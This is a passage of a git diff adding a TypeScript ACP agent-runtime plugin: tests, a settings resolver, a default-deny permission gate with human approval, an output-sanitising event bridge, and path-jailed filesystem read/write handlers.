it("exposes ClientSideConnection as a constructable", () => { + expect(typeof acp.ClientSideConnection).toBe("function"); + }); + + it("exposes ndJsonStream as a function", () => { + expect(typeof acp.ndJsonStream).toBe("function"); + }); + + it("exposes PROTOCOL_VERSION as the integer 1", () => { + expect(typeof acp.PROTOCOL_VERSION).toBe("number"); + expect(acp.PROTOCOL_VERSION).toBe(1); + }); + + it("exposes the client/agent method maps used for routing", () => { + expect(acp.CLIENT_METHODS).toBeDefined(); + expect(acp.AGENT_METHODS).toBeDefined(); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/tool-mapping.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/tool-mapping.test.ts new file mode 100644 index 0000000000..498c7d5d20 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/tool-mapping.test.ts @@ -0,0 +1,45 @@ +import { describe, it, expect } from "vitest"; +import { toolDisplayName, normalizeToolArgs } from "../tool-mapping.js"; + +describe("toolDisplayName", () => { + it("prefers an explicit title", () => { + expect(toolDisplayName({ title: "Run tests", kind: "execute" })).toBe("Run tests"); + }); + + it("falls back to a label derived from kind when title is missing", () => { + expect(toolDisplayName({ kind: "execute" })).toBe("Execute"); + expect(toolDisplayName({ kind: "read" })).toBe("Read"); + expect(toolDisplayName({ kind: "switch_mode" })).toBe("Switch Mode"); + }); + + it("treats an empty/whitespace title as missing", () => { + expect(toolDisplayName({ title: " ", kind: "edit" })).toBe("Edit"); + expect(toolDisplayName({ title: "", kind: "fetch" })).toBe("Fetch"); + }); + + it("falls back to 'tool' when both title and kind are absent", () => { + expect(toolDisplayName({})).toBe("tool"); + expect(toolDisplayName({ title: null, kind: null })).toBe("tool"); + }); + + it("falls back to 'tool' for an unknown kind", () => { + expect(toolDisplayName({ kind: "mystery" as never })).toBe("tool"); + }); +}); + +describe("normalizeToolArgs", () => { + it("returns the object when rawInput is a plain object", () => { + expect(normalizeToolArgs({ command: "ls" })).toEqual({ command: "ls" }); + }); + + it("returns {} for undefined / null", () => { + expect(normalizeToolArgs(undefined)).toEqual({}); + expect(normalizeToolArgs(null)).toEqual({}); + }); + + it("returns {} for non-object / array inputs", () => { + expect(normalizeToolArgs("string")).toEqual({}); + expect(normalizeToolArgs(42)).toEqual({}); + expect(normalizeToolArgs([1, 2, 3])).toEqual({}); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/cli-spawn.ts b/plugins/fusion-plugin-acp-runtime/src/cli-spawn.ts new file mode 100644 index 0000000000..f1aad70cb8 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/cli-spawn.ts @@ -0,0 +1,61 @@ +// Resolves the ACP agent launch configuration from plugin settings. +// +// Unlike the Claude/Droid CLIs (one fixed binary per plugin), ACP is a protocol: +// the user points this runtime at *any* ACP-compatible agent binary plus the +// flag that puts it in ACP mode (e.g. `gemini --acp`). Settings therefore carry +// an arbitrary binary + args, plus the conservative-by-default fs capability +// toggles (KTD6: writes default OFF) and an env allow-list (KTD6b). + +export interface AcpCliSettings { + /** Agent binary to spawn (e.g. "gemini", "npx", an absolute path). */ + binaryPath: string; + /** Arguments that launch the agent in ACP/stdio mode (e.g. ["--acp"]). */ + args: string[]; + /** Optional model identifier reported via describeModel. */ + model?: string; + /** Advertise `fs/read_text_file` capability. Default: false (opt-in). */ + fsRead: boolean; + /** Advertise `fs/write_text_file` capability. Default: false (opt-in, KTD6). */ + fsWrite: boolean; + /** + * Environment variables to forward to the agent subprocess (KTD6b allow-list). + * The agent is untrusted; inherited `process.env` is NOT forwarded. Empty by + * default — callers opt specific vars in by name. + */ + envAllowList: string[]; + /** + * Risk S1 acknowledgement. The shipped default permission policy is + * `unrestricted` (every category → allow). Because the ACP agent is an + * untrusted subprocess, the permission floor refuses to auto-approve a + * *sensitive* category on a blanket `allow` disposition unless the user has + * explicitly acknowledged that risk by setting this true — otherwise such + * calls are escalated to approval (or denied when no approver exists). + * Default: false (safe). + */ + allowUnrestricted: boolean; +} + +function asTrimmedString(value: unknown): string | undefined { + return typeof value === "string" && value.trim().length > 0 ? value.trim() : undefined; +} + +function asStringArray(value: unknown): string[] | undefined { + if (!Array.isArray(value)) return undefined; + const out = value.filter((v): v is string => typeof v === "string"); + return out.length === value.length ? out : undefined; +} + +function asBool(value: unknown): boolean { + return value === true; +} + +export function resolveCliSettings(settings?: Record): AcpCliSettings { + const binaryPath = asTrimmedString(settings?.acpBinaryPath) ?? "acp-agent"; + const args = asStringArray(settings?.acpArgs) ?? []; + const model = asTrimmedString(settings?.acpModel); + const fsRead = asBool(settings?.acpFsRead); + const fsWrite = asBool(settings?.acpFsWrite); + const envAllowList = asStringArray(settings?.acpEnvAllowList) ?? []; + const allowUnrestricted = asBool(settings?.acpAllowUnrestricted); + return { binaryPath, args, model, fsRead, fsWrite, envAllowList, allowUnrestricted }; +} diff --git a/plugins/fusion-plugin-acp-runtime/src/control-handler.ts b/plugins/fusion-plugin-acp-runtime/src/control-handler.ts new file mode 100644 index 0000000000..f51809c602 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/control-handler.ts @@ -0,0 +1,301 @@ +// U5 — the SECURITY FLOOR for `session/request_permission`. +// +// The ACP agent is an UNTRUSTED subprocess. When it asks permission to run a +// tool call, this resolver classifies the call PER-CATEGORY against Fusion's +// live action gate and answers `allow_once` / `reject_once` / `cancelled`. +// +// Why per-category and not per-preset (S1 / KTD3a): Fusion's shipped default +// policy preset is `unrestricted` (every category → allow). Mapping a preset id +// straight to an outcome would auto-approve EVERY tool call of an untrusted +// agent the instant a user selects the ACP runtime. So we classify the call's +// `kind` into a Fusion category and read `gate.permissionPolicy.rules[category]`. +// +// Default-deny is the floor everywhere a decision can't be made safely: +// - no gate / no permissionPolicy → deny +// - an unmappable / missing / `other` kind → deny (most-restrictive) +// - `require-approval` with no HITL machinery → deny +// - the `allow_once` option isn't offered → reject (never `*_always`, S2) + +import type { + PermissionOption, + RequestPermissionResponse, + ToolCallUpdate, + ToolKind, +} from "@agentclientprotocol/sdk"; +import type { + ApprovalStatus, + FusionCategory, + GateDisposition, + PermissionGate, +} from "./types.js"; + +/** Sentinel returned by `classifyToolKind` for an unmappable kind → force deny. */ +export const DENY = "deny" as const; + +/** + * Map an ACP `toolCall.kind` to a Fusion action-gate category (KTD3a). + * + * Read-only / benign kinds map to the implicit `exempt` category (always allow). + * `other`, `undefined`, and any unknown kind map to the `DENY` sentinel — the + * most-restrictive outcome — and MUST NOT fall through to allow. + */ +export function classifyToolKind(kind: ToolKind | null | undefined): FusionCategory | "exempt" | typeof DENY { + switch (kind) { + case "execute": + return "command_execution"; + case "edit": + case "delete": + case "move": + return "file_write_delete"; + case "fetch": + return "network_api"; + case "read": + case "search": + case "think": + case "switch_mode": + return "exempt"; + // "other", undefined, null, or anything unknown → most-restrictive deny. + default: + return DENY; + } +} + +/** + * Select the ACP option to answer with, honoring the allow_once-ONLY rule (S2). + * + * - `allow` → an option whose `kind === "allow_once"`. Never `allow_always` + * (delegating a blanket grant to untrusted code loses Fusion's per-call + * interception). If no `allow_once` option is offered → fall back to deny. + * - `deny` → an option whose `kind === "reject_once"`. If none is offered the + * caller answers `{ outcome: "cancelled" }`. Never `reject_always`. + */ +export function selectOption( + decision: "allow" | "deny", + options: PermissionOption[], +): { decision: "allow" | "deny"; optionId?: string } { + const list = Array.isArray(options) ? options : []; + if (decision === "allow") { + const allowOnce = list.find((o) => o?.kind === "allow_once"); + if (allowOnce?.optionId) return { decision: "allow", optionId: allowOnce.optionId }; + // No allow_once offered: do NOT up-grade to allow_always. Fall back to deny. + const rejectOnce = list.find((o) => o?.kind === "reject_once"); + return { decision: "deny", optionId: rejectOnce?.optionId }; + } + const rejectOnce = list.find((o) => o?.kind === "reject_once"); + return { decision: "deny", optionId: rejectOnce?.optionId }; +} + +/** Build the ACP response for a resolved {decision, optionId}. */ +function buildResponse(sel: { + decision: "allow" | "deny"; + optionId?: string; +}): RequestPermissionResponse { + if (sel.optionId) { + return { outcome: { outcome: "selected", optionId: sel.optionId } }; + } + // No usable option (e.g. deny with no reject_once offered) → cancelled. + return { outcome: { outcome: "cancelled" } }; +} + +/** + * Read the raw per-category disposition from the live policy (exempt → allow), + * before the Risk S1 acknowledgement escalation. Callers that gate untrusted + * actions should use `effectiveDisposition` (which applies the escalation); this + * is the unescalated primitive it builds on. + */ +export function dispositionFor( + category: FusionCategory | "exempt", + gate: PermissionGate, +): GateDisposition { + if (category === "exempt") return "allow"; + const rules = gate.permissionPolicy?.rules; + const disposition = rules?.[category]; + // A category with no explicit rule is treated as require-approval (not allow): + // never silently allow an unmapped category for an untrusted agent. + return disposition ?? "require-approval"; +} + +/** A stable dedupe key for an identical tool call (decision reuse). */ +function dedupeKeyFor(toolCall: ToolCallUpdate, category: string): string { + return [toolCall.toolCallId ?? "", category, toolCall.title ?? ""].join("|"); +} + +/** + * Run the human-in-the-loop approval flow for a `require-approval` category. + * + * Requires `createApprovalRequest` (the one non-optional HITL closure). When it + * is absent there is no human channel → DEFAULT-DENY (never throw, never allow). + * + * Flow: reuse a prior decision via `findApprovalByDedupeKey` when present; + * otherwise register the request, block on `pauseForApproval`, re-read the final + * status, finalize via `markApprovalCompleted`. `approved` → allow; everything + * else (denied / pending / completed / lookup-failure) → deny. + */ +async function runApproval( + toolCall: ToolCallUpdate, + category: FusionCategory, + gate: PermissionGate, +): Promise<"allow" | "deny"> { + return runApprovalForCategory(gate, { + category, + toolName: toolCall.title ?? category, + dedupeKey: dedupeKeyFor(toolCall, category), + args: + toolCall.rawInput && typeof toolCall.rawInput === "object" + ? (toolCall.rawInput as Record) + : {}, + }); +} + +/** + * Run the HITL approval flow for an arbitrary `require-approval` action, + * identified by a category + dedupe key (not necessarily an ACP `toolCall`). + * + * Exported so the fs `writeTextFile` path (U7) routes its `file_write_delete` + * gating through the IDENTICAL approval machinery as U5 — register, block on + * `pauseForApproval`, re-read the final status, finalize — with the same + * default-deny floor when no human channel exists. Never throws, never allows + * on failure. + */ +export async function runApprovalForCategory( + gate: PermissionGate, + req: { + category: FusionCategory; + toolName: string; + dedupeKey: string; + args?: Record; + }, +): Promise<"allow" | "deny"> { + const { category, dedupeKey } = req; + if (typeof gate.createApprovalRequest !== "function") { + // No human channel available → default-deny. + return "deny"; + } + + const decisionPayload = { + disposition: "require-approval" as const, + category, + toolName: req.toolName, + approvalDedupeKey: dedupeKey, + }; + + const mapStatus = (status: ApprovalStatus | undefined): "allow" | "deny" => + status === "approved" ? "allow" : "deny"; + + try { + // Reuse a prior decision for an identical call when available. + if (typeof gate.findApprovalByDedupeKey === "function") { + const prior = await gate.findApprovalByDedupeKey(dedupeKey); + if (prior && (prior.status === "approved" || prior.status === "denied")) { + return mapStatus(prior.status); + } + } + + // Default-deny BEFORE creating a request when the HITL round-trip cannot + // complete: without `pauseForApproval` we cannot block for a decision, and + // without `findApprovalByDedupeKey` we cannot READ the decision after the + // pause — a human approval would be silently discarded (mapStatus(undefined) + // → deny). Denying upfront never orphans a pending record and never wastes + // a human's approval on an outcome that would be denied anyway. + if ( + typeof gate.pauseForApproval !== "function" || + typeof gate.findApprovalByDedupeKey !== "function" + ) { + return "deny"; + } + + const created = (await gate.createApprovalRequest( + decisionPayload, + req.args ?? {}, + )) as { id?: string } | undefined; + const approvalRequestId = typeof created?.id === "string" ? created.id : dedupeKey; + + await gate.pauseForApproval({ approvalRequestId, decision: decisionPayload }); + + // Re-read the final status after the pause resolves. + let finalStatus: ApprovalStatus | undefined; + if (typeof gate.findApprovalByDedupeKey === "function") { + const resolved = await gate.findApprovalByDedupeKey(dedupeKey); + finalStatus = resolved?.status; + } + + if (typeof gate.markApprovalCompleted === "function") { + await gate.markApprovalCompleted(approvalRequestId); + } + + return mapStatus(finalStatus); + } catch { + // Any HITL failure (timeout/dismiss/store error) → default-deny, no throw. + return "deny"; + } +} + +/** + * The full per-call security floor: classify → read the per-category + * disposition → run HITL for `require-approval` → select an `allow_once`-only + * option → build the ACP response. + * + * Default-deny on: missing gate, missing `permissionPolicy`, unmappable kind, + * `require-approval` without a resolvable approver, or a missing `allow_once` + * option. + */ +export interface ResolvePermissionOptions { + /** + * Risk S1 acknowledgement. When false (the safe default), a blanket `allow` + * disposition on a *sensitive* category is escalated to `require-approval` + * rather than auto-approved — so the shipped `unrestricted` default policy + * does not silently green-light an untrusted agent's command/file/network + * calls. The user opts out of the escalation by acknowledging the risk. + */ + allowUnrestricted?: boolean; +} + +/** + * Per-category disposition with the Risk S1 acknowledgement escalation applied: + * a *sensitive* category the policy would `allow` is upgraded to + * `require-approval` unless `allowUnrestricted` is set. `exempt` (read-only) + * never escalates. Exported so the fs write path applies the identical rule. + */ +export function effectiveDisposition( + category: FusionCategory | "exempt", + gate: PermissionGate, + opts?: ResolvePermissionOptions, +): GateDisposition { + const disposition = dispositionFor(category, gate); + if (disposition === "allow" && category !== "exempt" && opts?.allowUnrestricted !== true) { + return "require-approval"; + } + return disposition; +} + +export async function resolvePermission( + toolCall: ToolCallUpdate, + options: PermissionOption[], + gate: PermissionGate | undefined, + opts?: ResolvePermissionOptions, +): Promise { + // No gate / no policy → default-deny. + if (!gate || !gate.permissionPolicy) { + return buildResponse(selectOption("deny", options)); + } + + const category = classifyToolKind(toolCall?.kind); + // Unmappable / missing / `other` kind → most-restrictive deny. + if (category === DENY) { + return buildResponse(selectOption("deny", options)); + } + + // Per-category disposition + S1 acknowledgement escalation. + const disposition = effectiveDisposition(category, gate, opts); + + if (disposition === "allow") { + return buildResponse(selectOption("allow", options)); + } + if (disposition === "block") { + return buildResponse(selectOption("deny", options)); + } + + // require-approval → HITL (or default-deny when no human channel exists). + const decision = await runApproval(toolCall, category as FusionCategory, gate); + return buildResponse(selectOption(decision, options)); +} diff --git a/plugins/fusion-plugin-acp-runtime/src/event-bridge.ts b/plugins/fusion-plugin-acp-runtime/src/event-bridge.ts new file mode 100644 index 0000000000..94d41a42b8 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/event-bridge.ts @@ -0,0 +1,307 @@ +// Event bridge: translate ACP `session/update` notifications into Fusion's +// `AgentRuntime` callbacks (onText / onThinking / onToolStart / onToolEnd) so an +// ACP agent renders identically to existing runtimes. +// +// Scope (U4): mapping only. Output BYTE bounds + string sanitization are U6 — no +// caps are applied here. Permission requests are U5. +// +// Design notes: +// - Tolerant: every field except the `sessionUpdate` discriminator and +// `toolCallId` is optional/partial. The handler NEVER throws on a malformed or +// partial update; unknown/forward-compat tags are ignored silently. +// - Tool start/end correlation: a `tool_call` records `{ title, kind }` keyed by +// `toolCallId`; a later `tool_call_update` carries that metadata forward when +// the update omits it, then fires `onToolEnd` once the status reaches a +// terminal value (`completed` / `failed`). +// - Plans are FULL REPLACEMENTS: each `plan` (or `plan_update`) update replaces +// the prior snapshot wholesale; we never accumulate across updates. + +import type { + SessionUpdate, + ContentBlock, + ToolKind, + PlanEntry, +} from "@agentclientprotocol/sdk"; +import type { AcpCallbacks } from "./types.js"; +import { toolDisplayName, normalizeToolArgs } from "./tool-mapping.js"; +import { stripControlSequences, boundString, boundIdentifier } from "./sanitize.js"; + +// --- U6 untrusted-input bounds (Risk S5) ----------------------------------- +// +// The agent is untrusted input. The high inactivity ceiling (KTD4) does NOT +// bound an *actively* flooding agent, so the bridge caps what it forwards. + +/** + * Per-turn cumulative cap (chars) on forwarded text+thinking. Once exceeded, the + * bridge stops forwarding further text/thinking and emits ONE truncation flag. + * Cleared by `reset()` at the start of each prompt turn. ~5M chars ≈ 5 MB. + */ +export const PER_TURN_OUTPUT_CAP_CHARS = 5_000_000; + +/** Per-chunk cap (chars) applied to a single content chunk before forwarding. */ +export const PER_CHUNK_CAP_CHARS = 64_000; + +/** + * Max number of distinct `toolCallId`s tracked in the correlation map. A flooding + * agent supplying unbounded unique ids must not grow the map without limit — + * oldest entries are evicted once the cap is exceeded (bounded memory). + */ +export const TOOL_CALL_MAP_CAP = 1000; + +/** + * Max plan entries formatted into the plan log line. Entry size is bounded in + * formatPlan; this bounds the COUNT so one plan event cannot bypass the + * per-turn output budget with thousands of 64KB entries (Risk S5). + */ +export const MAX_PLAN_ENTRIES = 100; + +/** Tracked metadata for an in-flight tool call, keyed by `toolCallId`. */ +interface TrackedToolCall { + title?: string | null; + kind?: ToolKind | null; + /** Whether onToolEnd has already fired (terminal status seen). */ + ended: boolean; +} + +export interface EventBridge { + /** Process one `session/update` payload (`params.update`). Never throws. */ + handleSessionUpdate(update: SessionUpdate): void; + /** Clear per-turn correlation state (tool calls, plan snapshot, last text). */ + reset(): void; +} + +/** Extract plain text from a `ContentBlock`, or `undefined` for non-text blocks. */ +function extractText(content: ContentBlock | undefined): string | undefined { + if (content && content.type === "text" && typeof content.text === "string") { + return content.text; + } + return undefined; +} + +/** + * Repair the specific "sentence punctuation + capitalized next sentence" case + * where an agent splits adjacent sentences across chunks without the separating + * space. Mirrors the droid runtime's `normalizeStreamingDelta` — conservative so + * code, domains, and lowercase continuations are left untouched. + */ +function normalizeStreamingDelta(previousText: string, nextDelta: string): string { + if (!previousText || !nextDelta) return nextDelta; + const previousChar = previousText.slice(-1); + const nextChar = nextDelta[0] ?? ""; + if (/\s/.test(previousChar) || /\s/.test(nextChar)) return nextDelta; + if (/[.!?]/.test(previousChar) && /[A-Z0-9"'([]/.test(nextChar)) { + return ` ${nextDelta}`; + } + return nextDelta; +} + +/** Format a plan snapshot into a single thinking/log line. */ +function formatPlan(entries: PlanEntry[]): string { + const lines = entries.map((entry) => { + const status = typeof entry.status === "string" ? entry.status : "pending"; + // Plan text is agent-supplied — sanitize control/ANSI before it reaches a + // log/UI line (Risk S7) and bound its length (Risk S5). + const rawText = typeof entry.content === "string" ? entry.content : ""; + const text = boundString(stripControlSequences(rawText), PER_CHUNK_CAP_CHARS); + return `- [${stripControlSequences(status)}] ${text}`; + }); + return `Plan:\n${lines.join("\n")}`; +} + +export function createEventBridge(callbacks: AcpCallbacks): EventBridge { + // Start/end correlation across `tool_call` → `tool_call_update`. Insertion + // order is preserved by Map, so the oldest key is the first iterator entry — + // used for FIFO eviction once TOOL_CALL_MAP_CAP is exceeded (Risk S5). + const toolCalls = new Map(); + // Running text/thinking accumulators for delta-space repair across chunks. + let textSoFar = ""; + let thinkingSoFar = ""; + // Cumulative chars forwarded (text+thinking) this turn (Risk S5). + let cumulativeOutputChars = 0; + // Whether the per-turn cap was hit and the single flag line already emitted. + let outputCapFlagged = false; + + function reset(): void { + toolCalls.clear(); + textSoFar = ""; + thinkingSoFar = ""; + cumulativeOutputChars = 0; + outputCapFlagged = false; + } + + /** + * Track a bounded toolCallId for use as a Map key, evicting the oldest entry + * when the cap is exceeded so a flood of unique ids cannot grow memory without + * limit. Returns the normalized id, or `undefined` when the id is empty. + */ + function setTracked(rawId: string, tracked: TrackedToolCall): string | undefined { + const id = boundIdentifier(rawId); + if (id === "") return undefined; + // Re-insert moves an existing key to the tail (refresh recency); for a new + // key, evict the oldest first so size stays bounded. + if (!toolCalls.has(id) && toolCalls.size >= TOOL_CALL_MAP_CAP) { + const oldest = toolCalls.keys().next().value; + if (oldest !== undefined) toolCalls.delete(oldest); + } + toolCalls.set(id, tracked); + return id; + } + + /** + * Forward one sanitized + bounded delta through `emit`, honoring the per-turn + * cumulative cap. Once the cap is exceeded, forwarding stops and a single + * truncation flag line is emitted via `onThinking`. + */ + function forwardBounded( + raw: string, + prior: string, + emit: (delta: string) => void, + ): string { + if (outputCapFlagged) return prior; + if (cumulativeOutputChars >= PER_TURN_OUTPUT_CAP_CHARS) { + outputCapFlagged = true; + callbacks.onThinking?.( + "[output truncated: per-turn limit reached — further agent output suppressed]", + ); + return prior; + } + // Sanitize control/ANSI (Risk S7) and bound the single chunk (Risk S5). + const sanitized = boundString(stripControlSequences(raw), PER_CHUNK_CAP_CHARS); + if (sanitized === "") return prior; + const delta = normalizeStreamingDelta(prior, sanitized); + cumulativeOutputChars += delta.length; + emit(delta); + return prior + delta; + } + + function emitText(content: ContentBlock | undefined): void { + const raw = extractText(content); + if (raw === undefined || raw === "") return; + textSoFar = forwardBounded(raw, textSoFar, (delta) => callbacks.onText?.(delta)); + } + + function emitThinking(content: ContentBlock | undefined): void { + const raw = extractText(content); + if (raw === undefined || raw === "") return; + thinkingSoFar = forwardBounded(raw, thinkingSoFar, (delta) => + callbacks.onThinking?.(delta), + ); + } + + /** Sanitize an agent-supplied tool title before it reaches a callback/log (S7). */ + function safeTitle(title: string | null | undefined): string | null | undefined { + if (typeof title !== "string") return title; + return boundString(stripControlSequences(title), PER_CHUNK_CAP_CHARS); + } + + function handleToolCall(update: Extract): void { + if (typeof update.toolCallId !== "string") return; + const title = safeTitle(update.title); + const id = setTracked(update.toolCallId, { title, kind: update.kind, ended: false }); + if (id === undefined) return; + const name = toolDisplayName({ title, kind: update.kind }); + callbacks.onToolStart?.(name, normalizeToolArgs(update.rawInput)); + } + + function handleToolCallUpdate( + update: Extract, + ): void { + if (typeof update.toolCallId !== "string") return; + const id = boundIdentifier(update.toolCallId); + if (id === "") return; + const tracked = toolCalls.get(id) ?? { ended: false }; + // Carry forward title/kind from the prior `tool_call` when this update omits + // them (a partial update may only set status/output). + if (update.title != null) tracked.title = safeTitle(update.title); + if (update.kind != null) tracked.kind = update.kind; + // `id` is already bounded above; setTracked re-keys with the same value. + setTracked(id, tracked); + + const status = update.status; + if (status !== "completed" && status !== "failed") { + // Intermediate (pending/in_progress) — tracking updated, no callback. + return; + } + if (tracked.ended) return; // already fired a terminal callback + tracked.ended = true; + const name = toolDisplayName({ title: tracked.title, kind: tracked.kind }); + callbacks.onToolEnd?.(name, status === "failed", update.rawOutput); + } + + function handlePlan(entries: PlanEntry[] | undefined): void { + // FULL REPLACEMENT: drop any prior snapshot, surface the new one once. + // Plan output is charged against the same per-turn budget as text/thinking + // (Risk S5): entry SIZE is bounded in formatPlan, but entry COUNT is + // agent-controlled — without the cap below, one plan event with thousands + // of entries bypasses the per-turn ceiling entirely. + if (outputCapFlagged) return; + // Enforce the ceiling on the plan path too: without this check a plan-ONLY + // stream (no text/thinking ever entering forwardBounded) would keep + // emitting forever after crossing the budget. + if (cumulativeOutputChars >= PER_TURN_OUTPUT_CAP_CHARS) { + outputCapFlagged = true; + callbacks.onThinking?.( + "[output truncated: per-turn limit reached — further agent output suppressed]", + ); + return; + } + const list = Array.isArray(entries) ? entries : []; + const capped = list.slice(0, MAX_PLAN_ENTRIES); + let line = formatPlan(capped); + if (list.length > capped.length) { + line += `\n- … ${list.length - capped.length} more entries truncated`; + } + line = boundString(line, PER_CHUNK_CAP_CHARS); + cumulativeOutputChars += line.length; + callbacks.onThinking?.(line); + } + + function handleSessionUpdate(update: SessionUpdate): void { + if (!update || typeof update !== "object") return; + try { + switch (update.sessionUpdate) { + case "agent_message_chunk": + emitText(update.content); + break; + case "agent_thought_chunk": + emitThinking(update.content); + break; + case "user_message_chunk": + // Echo of user input — ignored in v1. + break; + case "tool_call": + handleToolCall(update); + break; + case "tool_call_update": + handleToolCallUpdate(update); + break; + case "plan": + handlePlan(update.entries); + break; + case "plan_update": + // The (experimental) `PlanUpdate` variant carries a `plan` field, NOT a + // top-level `entries` array — so there is nothing here to map to our + // entries-based snapshot. v1 treats it as a NO-OP rather than wiping the + // prior plan: the full `plan` event remains the source of truth. + break; + case "plan_removed": + // Clearing the plan: surface nothing. + break; + case "available_commands_update": + case "current_mode_update": + case "config_option_update": + case "session_info_update": + case "usage_update": + // Stored/ignored in v1 — no callback surface. + break; + default: + // Unknown/forward-compat tag — ignore without throwing. + break; + } + } catch { + // Tolerant: a malformed/partial update must never break the stream. + } + } + + return { handleSessionUpdate, reset }; +} diff --git a/plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts b/plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts new file mode 100644 index 0000000000..756642b2e7 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts @@ -0,0 +1,262 @@ +// U7 — client filesystem capabilities behind the path jail (KTD6 / Risk S3/S4/S5). +// +// These handlers back the ACP `fs/read_text_file` / `fs/write_text_file` client +// methods. They exist ONLY when the resolved settings opt in (KTD6): reads are +// opt-in, writes default OFF and are additionally routed through the action gate +// as a `file_write_delete` category (reusing the U5 floor — never a free +// capability). Every path crosses `assertPathWithinCwd` (the symlink-resolving +// jail) before any byte is read or written, and the secret/git deny-lists apply +// regardless of cwd membership. +// +// On ANY rejection (jail / deny-list / policy / oversize) these THROW — the SDK +// surfaces the throw as a JSON-RPC error. They MUST NEVER silently succeed. + +import { constants as fsConstants } from "node:fs"; +import type { + ReadTextFileRequest, + ReadTextFileResponse, + WriteTextFileRequest, + WriteTextFileResponse, +} from "@agentclientprotocol/sdk"; +import { + assertPathWithinCwd, + isGitInternal, + isSecretPath, + openWithinCwd, + PathJailError, +} from "./path-jail.js"; +import { effectiveDisposition, runApprovalForCategory } from "./control-handler.js"; +import type { PermissionGate } from "./types.js"; + +/** Hard ceiling on bytes returned from a read when `limit` is absent/huge (S5). */ +export const DEFAULT_READ_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB + +/** Hard ceiling on bytes accepted for a single write (S5). */ +export const DEFAULT_WRITE_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB + +/** Thrown when a write's content exceeds the size ceiling. */ +export class FsContentTooLargeError extends Error { + readonly code = "content_too_large" as const; + constructor(readonly limitBytes: number) { + super(`fs write content exceeds the ${limitBytes}-byte ceiling`); + this.name = "FsContentTooLargeError"; + } +} + +/** Thrown when a gated write is blocked by the permission policy. */ +export class FsWriteDeniedError extends Error { + readonly code = "write_denied" as const; + constructor(message: string) { + super(message); + this.name = "FsWriteDeniedError"; + } +} + +export interface FsHandlerOptions { + /** Confinement root — the task worktree (session cwd). */ + cwd: string; + /** Per-run permission gate (U5). Required for write gating. */ + gate?: PermissionGate; + /** Advertise/register `readTextFile`. */ + allowRead: boolean; + /** Advertise/register `writeTextFile` (default OFF — KTD6). */ + allowWrite: boolean; + /** + * Risk S1 acknowledgement. When false (default), a blanket `allow` on the + * `file_write_delete` category is escalated to `require-approval` for the + * untrusted agent rather than auto-approved. + */ + allowUnrestricted?: boolean; + /** Override the read byte ceiling (tests). */ + readMaxBytes?: number; + /** Override the write byte ceiling (tests). */ + writeMaxBytes?: number; +} + +export interface FsHandlers { + readTextFile?: (params: ReadTextFileRequest) => Promise; + writeTextFile?: (params: WriteTextFileRequest) => Promise; +} + +/** + * Apply the `line`/`limit` window AND the hard byte ceiling to file content. + * + * `line` is 1-based (per the ACP schema). `limit` caps the number of lines. When + * `limit` is absent or absurdly large the byte ceiling still bounds the result + * so a multi-GB file can't be slurped into memory (S5). + */ +export function applyReadWindow( + content: string, + line: number | null | undefined, + limit: number | null | undefined, + maxBytes: number, +): string { + let out = content; + const hasLine = typeof line === "number" && Number.isFinite(line) && line > 1; + const hasLimit = typeof limit === "number" && Number.isFinite(limit) && limit > 0; + + if (hasLine || hasLimit) { + const lines = content.split("\n"); + const start = hasLine ? Math.floor(line as number) - 1 : 0; + const end = hasLimit ? start + Math.floor(limit as number) : lines.length; + out = lines.slice(start, end).join("\n"); + } + + // Byte ceiling regardless of line/limit (truncate on a UTF-8 boundary-safe + // basis by slicing the buffer then decoding). + const buf = Buffer.from(out, "utf8"); + if (buf.byteLength > maxBytes) { + out = buf.subarray(0, maxBytes).toString("utf8"); + } + return out; +} + +/** + * Build the fs handlers, returning ONLY the ones enabled by settings. The + * provider registers these on the `Client` impl iff the matching capability is + * advertised (consistency invariant — KTD6). + */ +export function createFsHandlers(opts: FsHandlerOptions): FsHandlers { + const readMaxBytes = opts.readMaxBytes ?? DEFAULT_READ_MAX_BYTES; + const writeMaxBytes = opts.writeMaxBytes ?? DEFAULT_WRITE_MAX_BYTES; + const handlers: FsHandlers = {}; + + if (opts.allowRead) { + handlers.readTextFile = async ( + params: ReadTextFileRequest, + ): Promise => { + const resolved = await assertPathWithinCwd(params.path, opts.cwd); + // Secrets that legitimately live inside the worktree are still denied. + if (isSecretPath(resolved)) { + throw new PathJailError( + "denied_secret", + `read of secret-pattern file denied: ${resolved}`, + ); + } + // Reading git internals is also denied (config/token surface). + if (isGitInternal(resolved)) { + throw new PathJailError( + "denied_git", + `read of git-internal file denied: ${resolved}`, + ); + } + + // Atomic, symlink-safe open (TOCTOU defense), then read. + const handle = await openWithinCwd(resolved, opts.cwd, fsConstants.O_RDONLY); + try { + const hasLimit = + typeof params.limit === "number" && + Number.isFinite(params.limit) && + params.limit > 0; + // DoS guard (FIX 4): a multi-GB file would OOM if we `readFile` the whole + // thing before `applyReadWindow` truncates. When the file exceeds the byte + // ceiling AND no bounding `limit` was supplied, read at most ceiling+1 + // bytes so memory stays bounded; the +1 still lets applyReadWindow apply + // its truncation marker logic identically to a full read. A `limit` is + // line-bounded and read in full (matches prior behavior). + const stat = await handle.stat(); + let content: string; + if (!hasLimit && stat.size > readMaxBytes) { + const buf = Buffer.alloc(readMaxBytes + 1); + const { bytesRead } = await handle.read(buf, 0, readMaxBytes + 1, 0); + content = buf.subarray(0, bytesRead).toString("utf8"); + } else { + content = await handle.readFile({ encoding: "utf8" }); + } + return { + content: applyReadWindow(content, params.line, params.limit, readMaxBytes), + }; + } finally { + await handle.close().catch(() => undefined); + } + }; + } + + if (opts.allowWrite) { + handlers.writeTextFile = async ( + params: WriteTextFileRequest, + ): Promise => { + const content = typeof params.content === "string" ? params.content : ""; + // Size ceiling BEFORE any filesystem work (S5). + if (Buffer.byteLength(content, "utf8") > writeMaxBytes) { + throw new FsContentTooLargeError(writeMaxBytes); + } + + const resolved = await assertPathWithinCwd(params.path, opts.cwd); + + // HARD-reject writes to git internals (.git/**) — 